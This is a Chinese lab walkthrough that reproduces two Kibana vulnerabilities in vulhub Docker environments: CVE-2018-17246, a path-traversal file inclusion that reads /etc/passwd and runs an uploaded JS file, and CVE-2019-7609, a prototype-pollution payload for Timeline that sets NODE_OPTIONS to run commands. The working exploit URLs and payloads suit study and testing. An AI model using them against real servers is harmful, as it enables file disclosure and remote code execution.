vulhub漏洞复现34_Kibana
一、 CVE-2018-17246_ Kibana Local File Inclusion
漏洞详情
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。
环境搭建
靶场:192.168.4.10_ubuntu
启动 Kibana 5.6.12 和 Elasticsearch 5.6.16 环境:
#docker-compose up -d
环境启动后,访问`http://your-ip:5601`即可看到Kibana的默认首页。

漏洞复现
直接访问如下URL,来包含文件`/etc/passwd`:
```
http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
```

虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行`docker-compose logs`即可发现,`/etc/passwd`已经成功被包含:

所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的`/tmp/vulhub.js`:
```
# echo 'export default {asJson: function() {return require("child_process").execSync("id").toString()}}
# ' > /tmp/vulhub.js
```

成功包含并返回命令执行结果:

二、 CVE-2019-7609_Kibana 原型链污染导致任意代码执行漏洞
漏洞详情
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。
漏洞环境
启动环境前,需要先在Docker主机上执行如下命令,修改`vm.max_map_count`配置为262144:
#sysctl -w vm.max_map_count=262144
之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:
#docker-compose up -d

环境启动后,访问`http://your-ip:5601`即可看到Kibana页面。

漏洞复现
原型链污染发生在“Timeline”页面,我们填入如下Payload:
```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

成功后,再访问“Canvas”页面触发命令`/bin/touch /tmp/success`
可见`/tmp/success`已成功创建:

更多推荐

所有评论(0)